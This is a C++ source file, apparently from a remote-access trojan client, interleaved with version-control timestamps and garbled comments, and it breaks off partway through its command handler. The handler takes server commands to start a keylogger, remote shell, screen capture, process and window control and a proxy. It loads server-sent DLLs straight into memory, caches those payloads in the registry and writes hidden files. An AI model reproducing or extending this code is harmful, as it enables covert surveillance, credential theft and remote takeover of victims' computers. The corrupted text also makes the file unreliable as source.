2019-01-05 20:21:43 +08:00
|
|
|
|
// KernelManager.cpp: implementation of the CKernelManager class.
|
|
|
|
|
|
//
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
|
#include "KernelManager.h"
|
|
|
|
|
|
#include "Common.h"
|
2024-12-28 18:35:34 +08:00
|
|
|
|
#include <iostream>
|
|
|
|
|
|
#include <fstream>
|
|
|
|
|
|
#include <corecrt_io.h>
|
2025-04-15 21:37:01 +08:00
|
|
|
|
#include "ClientDll.h"
|
2025-05-29 19:49:05 +08:00
|
|
|
|
#include "MemoryModule.h"
|
2025-05-29 23:13:46 +08:00
|
|
|
|
#include "common/dllRunner.h"
|
2025-06-14 23:40:11 +08:00
|
|
|
|
#include "server/2015Remote/pwd_gen.h"
|
2025-06-18 04:22:48 +08:00
|
|
|
|
#include <common/iniFile.h>
|
2025-06-29 21:25:59 +08:00
|
|
|
|
#include "IOCPUDPClient.h"
|
|
|
|
|
|
|
|
|
|
|
|
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
|
|
|
|
|
if (conn->protoType == PROTO_TCP)
|
2025-07-13 04:37:14 +08:00
|
|
|
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
|
2025-06-29 21:25:59 +08:00
|
|
|
|
if (conn->protoType == PROTO_UDP)
|
|
|
|
|
|
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
2025-07-12 20:27:14 +08:00
|
|
|
|
if (conn->protoType == PROTO_HTTP)
|
2025-07-13 04:37:14 +08:00
|
|
|
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
|
2025-06-29 21:25:59 +08:00
|
|
|
|
return NULL;
|
|
|
|
|
|
}
|
2024-12-28 18:35:34 +08:00
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
|
|
|
|
|
static ThreadInfo tKeyboard;
|
|
|
|
|
|
tKeyboard.run = FOREVER_RUN;
|
2025-07-13 04:37:14 +08:00
|
|
|
|
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType());
|
2025-06-26 02:07:00 +08:00
|
|
|
|
tKeyboard.conn = conn;
|
|
|
|
|
|
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
|
|
|
|
|
return &tKeyboard;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
// Construction/Destruction
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb)
|
2025-04-06 19:35:20 +08:00
|
|
|
|
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
|
|
|
|
|
m_ulThreadCount = 0;
|
2025-04-07 18:18:36 +08:00
|
|
|
|
#ifdef _DEBUG
|
|
|
|
|
|
m_settings = { 5 };
|
|
|
|
|
|
#else
|
|
|
|
|
|
m_settings = { 30 };
|
|
|
|
|
|
#endif
|
|
|
|
|
|
m_nNetPing = -1;
|
2025-06-26 02:07:00 +08:00
|
|
|
|
m_hKeyboard = kb;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
CKernelManager::~CKernelManager()
|
|
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("~CKernelManager begin\n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
int i = 0;
|
2024-12-24 18:08:26 +08:00
|
|
|
|
for (i=0;i<MAX_THREADNUM;++i)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
2020-03-17 18:28:26 +08:00
|
|
|
|
if (m_hThread[i].h!=0)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
|
|
|
|
|
CloseHandle(m_hThread[i].h);
|
|
|
|
|
|
m_hThread[i].h = NULL;
|
2019-01-12 18:21:42 +08:00
|
|
|
|
m_hThread[i].run = FALSE;
|
|
|
|
|
|
while (m_hThread[i].p)
|
|
|
|
|
|
Sleep(50);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
m_ulThreadCount = 0;
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("~CKernelManager end\n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2024-12-24 18:08:26 +08:00
|
|
|
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD>
|
|
|
|
|
|
UINT CKernelManager::GetAvailableIndex() {
|
|
|
|
|
|
if (m_ulThreadCount < MAX_THREADNUM) {
|
|
|
|
|
|
return m_ulThreadCount;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
for (int i = 0; i < MAX_THREADNUM; ++i)
|
|
|
|
|
|
{
|
|
|
|
|
|
if (m_hThread[i].p == NULL) {
|
|
|
|
|
|
return i;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
return -1;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-05-29 23:13:46 +08:00
|
|
|
|
BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "ServerDll.new")
|
2024-12-28 18:35:34 +08:00
|
|
|
|
{
|
|
|
|
|
|
char path[_MAX_PATH], * p = path;
|
|
|
|
|
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
|
|
|
|
|
while (*p) ++p;
|
|
|
|
|
|
while ('\\' != *p) --p;
|
2025-05-29 23:13:46 +08:00
|
|
|
|
strcpy(p + 1, name);
|
|
|
|
|
|
if (_access(path, 0) != -1)
|
2024-12-28 18:35:34 +08:00
|
|
|
|
{
|
2025-05-29 23:13:46 +08:00
|
|
|
|
if (std::string("ServerDll.new")!=name) return TRUE;
|
2024-12-28 18:35:34 +08:00
|
|
|
|
DeleteFileA(path);
|
|
|
|
|
|
}
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
|
|
|
|
|
std::string filePath = path;
|
|
|
|
|
|
std::ofstream outFile(filePath, std::ios::binary);
|
|
|
|
|
|
|
|
|
|
|
|
if (!outFile)
|
|
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
|
2024-12-28 18:35:34 +08:00
|
|
|
|
return FALSE;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
outFile.write(data, size);
|
|
|
|
|
|
|
|
|
|
|
|
if (outFile.good())
|
|
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
|
2024-12-28 18:35:34 +08:00
|
|
|
|
}
|
|
|
|
|
|
else
|
|
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("Failed to write data to file.\n");
|
2024-12-28 18:35:34 +08:00
|
|
|
|
outFile.close();
|
|
|
|
|
|
return FALSE;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
|
|
|
|
|
|
outFile.close();
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
|
|
|
|
|
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
|
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("File created and set to hidden: %s\n", filePath.c_str());
|
2024-12-28 18:35:34 +08:00
|
|
|
|
}
|
|
|
|
|
|
return TRUE;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-05-29 19:49:05 +08:00
|
|
|
|
typedef struct DllExecParam
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
2025-05-29 19:49:05 +08:00
|
|
|
|
DllExecuteInfo info;
|
2025-05-29 23:13:46 +08:00
|
|
|
|
PluginParam param;
|
2025-05-29 19:49:05 +08:00
|
|
|
|
BYTE* buffer;
|
2025-05-29 23:13:46 +08:00
|
|
|
|
DllExecParam(const DllExecuteInfo& dll, const PluginParam& arg, BYTE* data) : info(dll), param(arg) {
|
2025-05-29 19:49:05 +08:00
|
|
|
|
buffer = new BYTE[info.Size];
|
|
|
|
|
|
memcpy(buffer, data, info.Size);
|
|
|
|
|
|
}
|
|
|
|
|
|
~DllExecParam() {
|
|
|
|
|
|
SAFE_DELETE_ARRAY(buffer);
|
|
|
|
|
|
}
|
|
|
|
|
|
}DllExecParam;
|
|
|
|
|
|
|
2025-05-29 23:13:46 +08:00
|
|
|
|
|
|
|
|
|
|
class MemoryDllRunner : public DllRunner {
|
|
|
|
|
|
protected:
|
|
|
|
|
|
HMEMORYMODULE m_mod;
|
|
|
|
|
|
public:
|
|
|
|
|
|
MemoryDllRunner() : m_mod(nullptr) {}
|
|
|
|
|
|
virtual void* LoadLibraryA(const char* data, int size) {
|
|
|
|
|
|
return (m_mod = ::MemoryLoadLibrary(data, size));
|
|
|
|
|
|
}
|
|
|
|
|
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
|
|
|
|
|
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
|
|
|
|
|
|
}
|
|
|
|
|
|
virtual BOOL FreeLibrary(void* mod) {
|
|
|
|
|
|
::MemoryFreeLibrary((HMEMORYMODULE)mod);
|
|
|
|
|
|
return TRUE;
|
|
|
|
|
|
}
|
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
|
|
|
2025-05-29 19:49:05 +08:00
|
|
|
|
DWORD WINAPI ExecuteDLLProc(LPVOID param) {
|
|
|
|
|
|
DllExecParam* dll = (DllExecParam*)param;
|
2025-05-29 23:13:46 +08:00
|
|
|
|
DllExecuteInfo info = dll->info;
|
|
|
|
|
|
PluginParam pThread = dll->param;
|
|
|
|
|
|
#ifdef _DEBUG
|
|
|
|
|
|
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
|
|
|
|
|
|
DllRunner* runner = new DefaultDllRunner(info.Name);
|
|
|
|
|
|
#else
|
|
|
|
|
|
DllRunner* runner = new MemoryDllRunner();
|
|
|
|
|
|
#endif
|
|
|
|
|
|
HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size);
|
2025-05-29 19:49:05 +08:00
|
|
|
|
if (module) {
|
2025-05-29 23:13:46 +08:00
|
|
|
|
switch (info.CallType)
|
|
|
|
|
|
{
|
|
|
|
|
|
case CALLTYPE_DEFAULT:
|
|
|
|
|
|
while (S_CLIENT_EXIT != *pThread.Exit)
|
|
|
|
|
|
Sleep(1000);
|
|
|
|
|
|
break;
|
|
|
|
|
|
case CALLTYPE_IOCPTHREAD: {
|
|
|
|
|
|
PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run");
|
|
|
|
|
|
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
2025-05-29 19:49:05 +08:00
|
|
|
|
if (proc) {
|
2025-05-29 23:13:46 +08:00
|
|
|
|
proc(&pThread);
|
|
|
|
|
|
}else {
|
|
|
|
|
|
while (S_CLIENT_EXIT != *pThread.Exit)
|
|
|
|
|
|
Sleep(1000);
|
2025-05-29 19:49:05 +08:00
|
|
|
|
}
|
2025-05-29 23:13:46 +08:00
|
|
|
|
break;
|
2025-05-29 19:49:05 +08:00
|
|
|
|
}
|
2025-05-29 23:13:46 +08:00
|
|
|
|
default:
|
|
|
|
|
|
break;
|
2024-12-24 18:08:26 +08:00
|
|
|
|
}
|
2025-05-29 23:13:46 +08:00
|
|
|
|
runner->FreeLibrary(module);
|
|
|
|
|
|
}
|
|
|
|
|
|
else {
|
|
|
|
|
|
Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name);
|
2024-12-24 18:08:26 +08:00
|
|
|
|
}
|
2025-05-29 19:49:05 +08:00
|
|
|
|
SAFE_DELETE(dll);
|
2025-05-29 23:13:46 +08:00
|
|
|
|
SAFE_DELETE(runner);
|
2025-05-29 19:49:05 +08:00
|
|
|
|
return 0x20250529;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
DWORD WINAPI SendKeyboardRecord(LPVOID lParam) {
|
|
|
|
|
|
CManager* pMgr = (CManager*)lParam;
|
|
|
|
|
|
if (pMgr) {
|
|
|
|
|
|
pMgr->Reconnect();
|
|
|
|
|
|
pMgr->Notify();
|
|
|
|
|
|
}
|
|
|
|
|
|
return 0xDead0001;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-05-29 19:49:05 +08:00
|
|
|
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|
|
|
|
|
{
|
|
|
|
|
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
|
|
|
|
|
if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
|
|
|
|
|
|
return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
2025-05-29 23:13:46 +08:00
|
|
|
|
}
|
|
|
|
|
|
else if (!isExit) {
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = nullptr;
|
2025-04-06 19:35:20 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].conn = m_conn;
|
2024-12-24 18:08:26 +08:00
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-05-29 23:13:46 +08:00
|
|
|
|
switch (szBuffer[0])
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
2025-06-14 23:40:11 +08:00
|
|
|
|
case CMD_AUTHORIZATION: {
|
2025-06-19 17:50:11 +08:00
|
|
|
|
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
|
|
|
|
|
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
2025-06-28 04:03:06 +08:00
|
|
|
|
#ifndef _DEBUG
|
2025-06-15 16:57:32 +08:00
|
|
|
|
if (hMutex == NULL) // û<>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>
|
|
|
|
|
|
break;
|
2025-06-28 04:03:06 +08:00
|
|
|
|
#endif
|
2025-06-15 16:57:32 +08:00
|
|
|
|
CloseHandle(hMutex);
|
2025-06-19 17:50:11 +08:00
|
|
|
|
|
2025-06-14 23:40:11 +08:00
|
|
|
|
char buf[100] = {}, *passCode = buf + 5;
|
|
|
|
|
|
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
2025-06-19 17:50:11 +08:00
|
|
|
|
std::string masterHash(skCrypt(MASTER_HASH));
|
|
|
|
|
|
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
2025-06-14 23:40:11 +08:00
|
|
|
|
if (passCode[0] == 0) {
|
|
|
|
|
|
std::string devId = getDeviceID();
|
|
|
|
|
|
memcpy(buf + 5, devId.c_str(), devId.length()); // 16<31>ֽ<EFBFBD>
|
2025-06-18 04:22:48 +08:00
|
|
|
|
memcpy(buf + 32, pwdHash, 64); // 64<36>ֽ<EFBFBD>
|
2025-06-14 23:40:11 +08:00
|
|
|
|
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
|
|
|
|
|
} else {
|
2025-06-28 04:03:06 +08:00
|
|
|
|
int* days = (int*)(buf + 1);
|
2025-06-19 17:50:11 +08:00
|
|
|
|
config* cfg = pwdHash == masterHash ? new config : new iniFile;
|
2025-06-28 04:03:06 +08:00
|
|
|
|
cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
|
|
|
|
|
|
cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
|
2025-06-19 17:50:11 +08:00
|
|
|
|
delete cfg;
|
|
|
|
|
|
g_bExit = S_SERVER_EXIT;
|
2025-06-14 23:40:11 +08:00
|
|
|
|
}
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
2025-05-29 19:49:05 +08:00
|
|
|
|
case CMD_EXECUTE_DLL: {
|
|
|
|
|
|
#ifdef _WIN64
|
2025-06-10 03:18:29 +08:00
|
|
|
|
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
2025-05-29 19:49:05 +08:00
|
|
|
|
const int sz = 1 + sizeof(DllExecuteInfo);
|
2025-06-10 03:18:29 +08:00
|
|
|
|
if (ulLength < sz)break;
|
2025-05-29 19:49:05 +08:00
|
|
|
|
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
|
2025-06-10 03:18:29 +08:00
|
|
|
|
const char* md5 = info->Md5;
|
|
|
|
|
|
auto find = m_MemDLL.find(md5);
|
|
|
|
|
|
if (find == m_MemDLL.end() && ulLength == sz) {
|
2025-07-12 14:24:35 +08:00
|
|
|
|
iniFile cfg(CLIENT_PATH);
|
|
|
|
|
|
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
|
|
|
|
|
if (md5.empty() || md5 != info->Md5) {
|
|
|
|
|
|
// <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>а<EFBFBD><D0B0><EFBFBD>DLL<4C><4C><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB>˼<EFBFBD><CBBC>Ȿ<EFBFBD><E2B1BE><EFBFBD>Ƿ<EFBFBD><C7B7>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><D0B4><EFBFBD>
|
|
|
|
|
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
|
|
|
|
|
|
binFile bin(CLIENT_PATH);
|
|
|
|
|
|
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
|
|
|
|
|
|
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
|
|
|
|
|
|
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
|
|
|
|
|
|
find = m_MemDLL.find(md5);
|
2025-06-10 03:18:29 +08:00
|
|
|
|
}
|
|
|
|
|
|
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
|
2025-05-29 23:13:46 +08:00
|
|
|
|
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
|
2025-07-12 14:24:35 +08:00
|
|
|
|
if (md5[0]) {
|
|
|
|
|
|
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
|
|
|
|
|
iniFile cfg(CLIENT_PATH);
|
|
|
|
|
|
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
|
|
|
|
|
|
binFile bin(CLIENT_PATH);
|
|
|
|
|
|
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
|
|
|
|
|
|
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
|
|
|
|
|
|
Mprintf("Save DLL to registry: %s\n", md5);
|
|
|
|
|
|
}
|
2025-06-10 03:18:29 +08:00
|
|
|
|
data = szBuffer + sz;
|
|
|
|
|
|
}
|
|
|
|
|
|
if (data) {
|
2025-06-07 04:42:29 +08:00
|
|
|
|
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
|
2025-06-10 03:18:29 +08:00
|
|
|
|
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL));
|
|
|
|
|
|
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
2025-05-29 23:13:46 +08:00
|
|
|
|
}
|
2025-05-29 19:49:05 +08:00
|
|
|
|
#endif
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-05-03 20:57:22 +08:00
|
|
|
|
case COMMAND_PROXY: {
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-05-03 20:57:22 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-04-15 21:37:01 +08:00
|
|
|
|
case COMMAND_SHARE:
|
|
|
|
|
|
if (ulLength > 2) {
|
|
|
|
|
|
switch (szBuffer[1]) {
|
|
|
|
|
|
case SHARE_TYPE_YAMA: {
|
|
|
|
|
|
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
|
|
|
|
|
if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
case SHARE_TYPE_HOLDINGHANDS:
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
break;
|
|
|
|
|
|
|
2025-04-07 18:18:36 +08:00
|
|
|
|
case CMD_HEARTBEAT_ACK:
|
|
|
|
|
|
if (ulLength > 8) {
|
|
|
|
|
|
uint64_t n = 0;
|
|
|
|
|
|
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
|
|
|
|
|
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
|
|
|
|
|
std::chrono::system_clock::now()
|
|
|
|
|
|
);
|
|
|
|
|
|
m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
|
|
|
|
|
|
}
|
|
|
|
|
|
break;
|
|
|
|
|
|
case CMD_MASTERSETTING:
|
|
|
|
|
|
if (ulLength > sizeof(MasterSettings)) {
|
|
|
|
|
|
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
|
|
|
|
|
}
|
|
|
|
|
|
break;
|
2025-01-31 22:22:16 +08:00
|
|
|
|
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
|
|
|
|
|
{
|
2025-06-26 02:07:00 +08:00
|
|
|
|
if (m_hKeyboard) {
|
|
|
|
|
|
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
|
|
|
|
|
} else {
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-06-26 02:07:00 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
|
|
|
|
|
}
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
case COMMAND_TALK:
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
|
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_SHELL:
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_BYE:
|
|
|
|
|
|
{
|
2019-04-15 16:24:32 +08:00
|
|
|
|
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
2025-06-29 21:25:59 +08:00
|
|
|
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
2025-04-15 21:37:01 +08:00
|
|
|
|
g_bExit = S_CLIENT_EXIT;
|
2025-04-27 01:16:16 +08:00
|
|
|
|
Mprintf("======> Client exit \n");
|
2019-04-15 16:24:32 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case SERVER_EXIT:
|
|
|
|
|
|
{
|
2025-07-04 04:54:53 +08:00
|
|
|
|
// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
2025-04-15 21:37:01 +08:00
|
|
|
|
g_bExit = S_SERVER_EXIT;
|
2025-04-27 01:16:16 +08:00
|
|
|
|
Mprintf("======> Server exit \n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_SCREEN_SPY:
|
|
|
|
|
|
{
|
2025-03-30 18:03:01 +08:00
|
|
|
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
|
|
|
|
|
if (ulLength > 1) {
|
|
|
|
|
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
|
|
|
|
|
}
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-03-30 18:03:01 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].user = user;
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_LIST_DRIVE :
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
